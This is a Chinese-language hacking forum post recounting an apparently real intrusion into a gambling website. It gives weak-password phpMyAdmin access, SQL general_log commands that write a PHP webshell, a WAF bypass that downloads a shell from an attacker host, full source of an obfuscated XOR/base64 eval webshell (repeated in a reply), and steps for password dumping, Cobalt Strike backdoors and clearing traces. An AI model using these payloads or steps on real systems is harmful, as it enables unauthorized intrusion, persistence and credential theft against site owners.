Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

绕过360webscan waf Get 博彩网站SHELL

 Share


Recommended Posts

确定目标

image.png.6b594f8e65c2f6a18c991b14c266b140.png

收集信息

x.x.x.x

首先常规测试方法一顿怼,目录扫描,端口扫描,js文件,中间件,指纹识别,反正该上的都上。。。。
随手加个路径,报错了,当看到这个界面我瞬间就有思路了

image.thumb.png.437c6fb1923f98a4086a7e569e91c01a.png

为什么这么说呢,因为之前我就碰见过这样的网站报错, 这是一个php集成环境,叫upupw,跟phpstudy是一样的

upupw --> pmd 
phpstudy --> phpmyadmin

突破点

这个集成环境包也有个phpinfo的页面,跟数据库管理界面

u.php

image.png.8a6f580632d2e8b479f820398506e1b0.png

测试一下弱口令

root/root

image.png.97c03f093cf8de7714bf611711308c0e.png

连接成功后就可以看到phpinfo的页面

image.png.caa3606d157dd3b8b8bb14b1f5cd1bf6.png

好了现在问题变成phpmyadmin拿shell

image.png.e53c41918b4500472be261a16805431d.png

getshell

三步拿shell

set global general_log='on';
SET global general_log_file='D:/xxxx/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

当执行第三步的时候页面 卡在执行中。。。没有反应 瞬间感觉不对,可能存在waf
换了个免杀马试试,先写到txt里边看看成否成功

image.png.f37fef2bf6896a59298178f79cb40dcf.png

没有任何问题,下面直接写入php文件

image.png.f37fef2bf6896a59298178f79cb40dcf.png

可以写入,直接去连接shell

image.png.f3e019b5524a8d1cc24ae81fe9c285d9.png

果然有waf,当时写入的时候就感觉到了,不免杀的shell,sql语句执行不了

绕过waf

怼了半天都不知道是什么鬼waf,用下载文件试试
为了避免拦截php代码的waf,我这里远程下载的脚本是利用JavaScript转写php

SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'

image.png.fbe8ee098b261e6fe6ede28be6c601e6.png

访问11.php 就会生成shell.php
这里的shell也是用了哥斯拉的免杀shell

<?php
    session_start();
    @set_time_limit(0);
    @error_reporting(0);
    function E($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a';
    if (isset($_POST[$P])){
        $F=O(E(O($_POST[$P]),$T));
        if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode('|',$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
            $R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }

image.png.f3e019b5524a8d1cc24ae81fe9c285d9.png

尝试了这么多次

image.png.b2daed14c640b26c635c53c509e67e22.png

image.png.eb544fb89732872e8672828c6c8a3279.png

进程里没有waf进程

权限是system

image.png.0f63def6fa8877a1e5bf7b0e9d0f1286.png

脱源码

上传抓密码工具,直接获取管理密码,登上服务器

image.png.4aaa09cad6129fda149e4c397e8e8590.png

image.png.391568f4b27be1adde78083c440b02a4.png

image.png.d97172e17d14ec502767bfec399704a9.png

image.png.6234b45c81d23bdd7bf82898cdde755c.png

留后门,清理痕迹

多留几个后门,万一被删

image.png.de3fe9a2148b35d243405f551f575211.png

image.png.9d9521e2acac648524f9fb87f93c6202.png

这个网段还有这么多机器

image.png.f285538e347854a2a700dd098366e62e.png

源码

打开源码才发现waf是360webscanimage.thumb.png.a53cb087ae8e5e757049180479f28a53.png

总结:
1.信息收集,目录扫描,端口扫描,JS文件敏感文件扫描,中间件扫描,指纹识别无任何可利用信息
2.通过在网址后加入错误路径,报错信息“为找到,法海不懂爱,页面显示不出来”,该系统是php集成环境upupw
3.该环境有个叫phpinfo的文件为u.php,输入弱口令root/root,可直接进入phpmyadmin,同时可查看phpinfo的信息,暴露出网站的绝对路径为D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/
4.phpmyadmin通过写入日志获取shell
set global general_log='on';
SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
5.可直接写入一句话,但是连接shell,被WAF拦截
6.通过远程下载的脚本是利用JavaScript转写php绕过WAF(360webscan)
SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/11.php';
SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'
7.访问11.php 就会生成shell.php
shell.txt:
<?php
    session_start();
    @set_time_limit(0);
    @error_reporting(0);
    function E($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a';
    if (isset($_POST[$P])){
        $F=O(E(O($_POST[$P]),$T));
        if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode('|',$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
            $R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }
8.通过格拉斯连接shell,然后查看进程tasklist,并无杀毒软件,查看权限whoami,是system权限
9.上传 hash抓取本地密码,可抓取windows本地用户名和密码
10.上传cs的生成的后门文件,并执行。
11.下载源码,发现WAF使用的360webscan

image.png

image.png

image.png

image.png

Link to post
Link to comment
Share on other sites

  • CHQ1d pinned and featured this topic
<?php
    session_start();
    @set_time_limit(0);
    @error_reporting(0);
    function E($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a';
    if (isset($_POST[$P])){
        $F=O(E(O($_POST[$P]),$T));
        if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode('|',$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
            $R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }
 
可以!
Link to post
Link to comment
Share on other sites

  • 3 weeks later...
 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...